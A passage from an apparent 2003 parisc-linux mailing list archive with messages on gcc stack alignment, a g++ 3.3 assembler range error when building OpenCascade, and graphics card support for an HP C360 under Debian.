victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5.71-pa1 do_sigaction problem
Date: Mon, 16 Jun 2003 16:07:39 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200306162007.h5GK7dmQ006315@hiauly1.hia.nrc.ca>
References: <20030616192747.GD30843@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622517 26736 80.91.229.3 (22 Nov 2014 02:15:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:17 +0000 (UTC)
Cc: bzeeb-lists@lists.zabbadoz.net,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 16 14:07:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C0BA4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jun 2003 14:07:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5GK7egL006317;
	Mon, 16 Jun 2003 16:07:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5GK7dmQ006315;
	Mon, 16 Jun 2003 16:07:39 -0400 (EDT)
In-Reply-To: <20030616192747.GD30843@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jun 16, 2003 08:27:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18677

> another is that most people are still on gcc-3.0.  indeed, gcc-3.2 and
> later are not suitable for generating a kernel since it does not respect
> the __aligned__ attribute on stack allocations.

Actually, I don't believe gcc has ever respected the __aligned__ attribute
on stack allocations.  It silently ignores it, which causes a lot of
confusion.  The difference is that debian gcc-3.0 has BIGGEST_ALIGNMENT
set to 128 while it is 64 in 3.2 and later.  BIGGEST_ALIGNMENT is used for
the alignment of structures allocated on the stack.  It is the maximum
alignment needed for any type.  So, in practice, it is set by the alignment
needed for long doubles.  This is specified to be 64 bits in the 32-bit
hpux runtime as there are no quad-precision load and store instructions.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] g++ (3.3): ...Error: Field out of range
Date: Tue, 17 Jun 2003 09:08:40 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <3ED70CF1000065CC@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622517 26739 80.91.229.3 (22 Nov 2014 02:15:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 17 01:08:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id E46894829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jun 2003 01:08:48 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19SAZe-0003GT-00; Tue, 17 Jun 2003 09:08:10 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 17 Jun 2003 09:08:40 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18678

Hi Dave,

Some month ago we already spook about a similar pb (<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018938.html>)
but that was an ld pb and now it is an "Assembler" pb:

 g3.3 -DHAVE_CONFIG_H -I. -I/CAD/OpenCascade/src/OCC/OCC/src/TKFillet -I../..
-I/CAD/OpenCascade/src/OCC/OCC/inc -I/CAD/OpenCascade/src/OCC/OCC/drv/ChFiDS
-I/CAD/OpenCascade/src/OCC/OCC/drv/ChFi2d -I/CAD/OpenCascade/src/OCC/OCC/drv/ChFi3d
-I/CAD/OpenCascade/src/OCC/OCC/drv/ChFiKPart -I/CAD/OpenCascade/src/OCC/OCC/drv/Blend
-I/CAD/OpenCascade/src/OCC/OCC/drv/BRepBlend -I/CAD/OpenCascade/src/OCC/OCC/drv/BlendFunc
-I/CAD/OpenCascade/src/OCC/OCC/drv/BRepFilletAPI -I/CAD/OpenCascade/src/OCC/OCC/drv/FilletSurf
-g -O2 -DCSFDB -MT ChFi3d_Builder_CnCrn.lo -MD -MP -MF .deps/ChFi3d_Builder_CnCrn.Tpo
-c /CAD/OpenCascade/src/OCC/OCC/src/ChFi3d/ChFi3d_Builder_CnCrn.cxx  -fPIC
-DPIC -o .libs/ChFi3d_Builder_CnCrn.o
/tmp/ccQuyyIf.s: Assembler messages:
/tmp/ccQuyyIf.s:146240: Error: Field out of range [-262144..262143] (-290528).
make[3]: *** [ChFi3d_Builder_CnCrn.lo] Error 1
make[3]: Leaving directory `/CAD/OpenCascade/build-40/src/TKFillet'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/CAD/OpenCascade/build-40/src'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/CAD/OpenCascade/build-40'
make: *** [all] Error 2

palx2000:/CAD/OpenCascade/build-40# dpkg -l g3.3
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name                    Version                 Description
=======================-=======================-==============================================================
ii  g3.3                 3.3-3                   The GNU C compiler

This occurs as well with binutils 2.13.90.0.18-1.7 as with 2.14.90.0.4-0.1.

OTC according gcc br 10274 (<http://gcc.gnu.org/bugzilla/show_bug.cgi?id=10274>)
which I filled in because of a ICE (in its time), binutils 2.13.2.1 would
solved this pb (but unfortunately not debian available). What should I do
more to help to fix this?

Thanks in advance,
    Joel

---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Zlatan Jukic" <zlatan.jukic@fh-vorarlberg.ac.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Visualize EG-card on HP-PARISC C360?!
Date: Tue, 17 Jun 2003 15:43:04 +0200
Organization: FH-Vorarlberg
Lines: 514
Approved: news@gmane.org
Message-ID: <1EB1A4E066D0D411BD330008C79F06AE022EC540@yang.tvlbg.ac.at>
Reply-To: <zlatan.jukic@fh-vorarlberg.ac.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000B_01C334E7.24B187D0"
X-Trace: ger.gmane.org 1416622518 26743 80.91.229.3 (22 Nov 2014 02:15:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:18 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 17 07:47:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from gnu.uclv.net (gnu.uclv.net [193.170.2.126])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCD154837
	for <parisc-linux@parisc-linux.org>; Tue, 17 Jun 2003 07:47:07 -0600 (MDT)
Original-Received: from allian.uclv.net (allian.uclv.net [193.170.2.117])
	by gnu.uclv.net (8.12.8/8.12.8) with ESMTP id h5HDl64W087369
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK)
	for <parisc-linux@parisc-linux.org>; Tue, 17 Jun 2003 15:47:06 +0200 (CEST)
	(envelope-from zlatan.jukic@fh-vorarlberg.ac.at)
Original-Received: from ZJPC (zj-pc.dh.uclv.net [193.170.103.157])
	(authenticated bits=0)
	by allian.uclv.net (8.12.8/8.12.8) with ESMTP id h5HDl4Mr019234
	for <parisc-linux@parisc-linux.org>; Tue, 17 Jun 2003 15:47:05 +0200 (CEST)
	(envelope-from zlatan.jukic@fh-vorarlberg.ac.at)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18679

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C334E7.24B187D0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Sehr geehrte Damen und Herren,=20

=20

Deutsch:

=20
-------------------------------------------------------------------------=
---
---------------------------------------------------------

ich habe neulich Debian Linux 3.0 auf unsere Maschine HP PA-RISC C360=20

installiert. Ich konnte leider X-Windows System nicht starten, weil es=20

von FX-4 Grafikkarte nicht unterst=FCtzt wird.

=20

Meine Frage ist hier: Muss ich eine andere Karte einbauen (und welche =
??),=20

um X-Windows System starten zu k=F6nnen..

=20

Laut Debian-HPPA sollte die =84Visualize EG=93 funktionieren. Diese =
Karte ist

eine 24-bit-Grafikkarte, die unter Linux als "Coral" erkannt wird,
funktiniert=20

bestens mit HP 715-64, in der C360 wird sie nicht erkannt (Probleme mit =
dem
GSC-Bus !?).

Ich habe dies aus dem Internet erfahren, weiss aber nicht ob das stimmt!

=20

Die Frage ist ob diese Karte von HP-Visualize PA-RISC C360 =
Hardwer-Platforme


und vomLinux-Debian 3.0 unterst=FCtzt werden kann?

=20

Anderseits, habe ich erfahren dass es hier um ein reines Linux (Debian)
Problem geht!?

=20

Falls mir n=E4mlich eine Visualize EG Karte helfen kann, w=FCrde ich sie =
gerne
bestellen!=20

=20

=20

English

=20

I installed recently Debian Linux 3,0 on our machine HP PA-RISC for =
C360. =20

I could not start unfortunately the X-Windows system, because it is not
supported by Fx-4 video card.?!

=20

My question is here:  Must I insert another card (and which??),  in =
order to
start X-Windows-system?

=20

According to Debian HPPA, the Visualize EG should correct to function. =20

This card is a 24-bit-video-card, which is recognized in the best way =
under
Linux as "Coral" with HP 715-64,=20

in the C360 it is not recognized (problems with the GSC bus!?).

=20

The question is whether this card can be supported from the HP Visualize
PA-RISC C360 hardware and from Linux Debian 3,0?

=20

On the other hand, I have experienced that it is a problem of the Linux-
(Debian) operating-system!? =20

=20

If can me help a Visualize EG-card i would order it gladly!=20

=20

Thanks for all your assistance,

kind regards, Zlatan

=20

=20

********************************************

Zlatan Jukic,

Fachhochschule Vorarlberg GmbH

Achstrasse 1

A-6850 Dornbirn

URL:    <http://www.fh-vorarlberg.at> http://www.fh-vorarlberg.at

email:  <mailto:zlatan.jukic@fh-vorarlberg.ac.at>
zlatan.jukic@fh-vorarlberg.ac.at

Phone: ++43 (0)5572 20336 167
Fax: ++43 (0)5572 20336 100

********************************************

=20


------=_NextPart_000_000B_01C334E7.24B187D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html>

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<meta name=3DGenerator content=3D"Microsoft Word 10 (filtered)">

<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:AvenirBookFH;
	panose-1:0 0 4 0 0 0 0 0 0 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{font-family:Arial;
	color:windowtext;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>Sehr geehrte Damen und Herren, =
</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><b><i><u><font size=3D2 face=3DArial><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:Arial;background:yellow;font-weight=
:bold;
font-style:italic'>Deutsch:</span></font></u></i></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;-----------------------------------------=
-------------------------------------------------------------------------=
-------------------</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>ich habe neulich Debian Linux 3.0 auf unsere =
Maschine
<b><span style=3D'font-weight:bold'>HP PA-RISC C360</span></b> =
</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>installiert. Ich konnte leider X-Windows =
System nicht
starten, weil es </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>von FX-4 Grafikkarte nicht unterst=FCtzt =
wird.</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>Meine Frage ist hier: Muss ich eine andere =
Karte
einbauen (und welche ??), </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>um X-Windows System starten zu =
k=F6nnen..</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>Laut Debian-HPPA sollte die <b><span
style=3D'background:yellow;font-weight:bold'>&#8222;Visualize =
EG&#8220;</span></b>
funktionieren. Diese Karte ist</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>eine 24-bit-Grafikkarte, die unter Linux als =
&quot;Coral&quot;
erkannt wird, funktiniert </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>bestens mit HP 715-64, in der <b><span
style=3D'font-weight:bold'>C360</span></b> wird sie nicht erkannt =
(Probleme mit
dem GSC-Bus !?).</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>Ich habe dies aus dem Internet erfahren, weiss =
aber
nicht ob das stimmt!</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><b><i><font size=3D2 face=3DArial><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:Arial;background:yellow;font-weight=
:bold;
font-style:italic'>Die Frage ist ob diese Karte von HP-Visualize PA-RISC =
C360 Hardwer-Platforme
</span></font></i></b></p>

<p class=3DMsoNormal><b><i><font size=3D2 face=3DArial><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:Arial;background:yellow;font-weight=
:bold;
font-style:italic'>und vomLinux-Debian 3.0 unterst=FCtzt werden =
kann?</span></font></i></b></p>

<p class=3DMsoNormal><b><i><font size=3D2 face=3DArial><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:Arial;font-weight:bold;font-style:i=
talic'>&nbsp;</span></font></i></b></p>

<p class=3DMsoNormal><b><i><font size=3D2 face=3DArial><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:Arial;background:yellow;font-weight=
:bold;
font-style:italic'>Anderseits, habe ich erfahren dass es hier um ein =
reines Linux
(Debian) Problem geht!?</span></font></i></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<div style=3D'border:none;border-bottom:solid windowtext =
1.0pt;padding:0cm 0cm 1.0pt 0cm'>

<p class=3DMsoNormal style=3D'border:none;padding:0cm'><font size=3D2 =
face=3DArial><span
lang=3DDE-AT style=3D'font-size:10.0pt;font-family:Arial'>Falls mir =
n=E4mlich eine <b><span
style=3D'background:yellow;font-weight:bold'>Visualize EG</span></b> =
Karte helfen
kann, w=FCrde ich sie gerne bestellen! </span></font></p>

<p class=3DMsoNormal style=3D'border:none;padding:0cm'><font size=3D2 =
face=3DArial><span
lang=3DDE-AT =
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;</span></font></p>

</div>

<p class=3DMsoNormal><font size=3D3 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
12.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><b><i><u><font size=3D3 face=3DArial><span =
style=3D'font-size:
12.0pt;font-family:Arial;background:yellow;font-weight:bold;font-style:it=
alic'>English</span></font></u></i></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I installed recently Debian Linux 3,0 on our machine =
HP
PA-RISC for C360.=A0 </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I could not start unfortunately the X-Windows system,
because it is not supported by Fx-4 video card.?!</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>My question is here:=A0 Must I insert another card =
(and
which??),=A0 in order to start X-Windows-system?</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>According to Debian HPPA, the <b><span =
style=3D'background:
yellow;font-weight:bold'>Visualize EG</span></b> should correct to =
function.=A0 </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>This card is a 24-bit-video-card, which is recognized =
in the
best way under Linux as &quot;Coral&quot; with HP 715-64, =
</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>in the C360 it is not recognized (problems with the =
GSC
bus!?).</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><b><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;background:yellow;font-weight:bold'>The question is =
whether
this card can be supported from the HP Visualize PA-RISC C360 hardware =
and from
Linux Debian 3,0?</span></font></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><b><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;background:yellow;font-weight:bold'>On the other hand, =
I have
experienced that it is a problem of the Linux- (Debian) =
operating-system!?</span></font></b><b><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;font-weight:
bold'>=A0 </span></font></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>If can me help a Visualize EG-card i would order it =
gladly!&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Thanks for all your assistance,</span></font></p>

<div style=3D'border:none;border-bottom:solid windowtext =
1.0pt;padding:0cm 0cm 1.0pt 0cm'>

<p class=3DMsoNormal style=3D'border:none;padding:0cm'><font size=3D2 =
face=3DArial><span
lang=3DDE-AT style=3D'font-size:10.0pt;font-family:Arial'>kind regards, =
Zlatan</span></font></p>

</div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>********************************************</span></f=
ont></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:AvenirBookFH'>Zlatan =
Jukic,</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:AvenirBookFH'>Fachhochschule =
Vorarlberg
GmbH</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:AvenirBookFH'>Achstrasse =
1</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
style=3D'font-size:10.0pt;
font-family:AvenirBookFH'>A-6850 Dornbirn</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
style=3D'font-size:10.0pt;
font-family:AvenirBookFH'>URL:</span></font><font size=3D2><span
style=3D'font-size:10.0pt'>&nbsp;&nbsp;</span></font><font size=3D2
face=3DAvenirBookFH><span =
style=3D'font-size:10.0pt;font-family:AvenirBookFH'> </span></font><a
href=3D"http://www.fh-vorarlberg.at"><font size=3D2 =
face=3DAvenirBookFH><span
style=3D'font-size:10.0pt;font-family:AvenirBookFH'>http://www.fh-vorarlb=
erg.at</span></font></a></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
style=3D'font-size:10.0pt;
font-family:AvenirBookFH'>email: </span></font><a
href=3D"mailto:zlatan.jukic@fh-vorarlberg.ac.at"><font size=3D2 =
face=3DAvenirBookFH><span
style=3D'font-size:10.0pt;font-family:AvenirBookFH'>zlatan.jukic@fh-vorar=
lberg.ac.at</span></font></a></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
style=3D'font-size:10.0pt;
font-family:AvenirBookFH'>Phone: ++43 (0)5572 20336 167<br>
Fax: ++43 (0)5572 20336 100</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>********************************************</span></f=
ont></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;</span></font></p>

</div>

</body>

</html>

------=_NextPart_000_000B_01C334E7.24B187D0--



From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: g++ (3.3): ...Error: Field out of range
Date: Tue, 17 Jun 2003 11:08:05 -0400 (EDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <200306171508.h5HF86eW010149@hiauly1.hia.nrc.ca>
References: <3ED70CF1000065CC@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622518 26747 80.91.229.3 (22 Nov 2014 02:15:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 17 09:08:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C24864837
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jun 2003 09:08:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5HF87gL010150;
	Tue, 17 Jun 2003 11:08:07 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5HF86eW010149;
	Tue, 17 Jun 2003 11:08:06 -0400 (EDT)
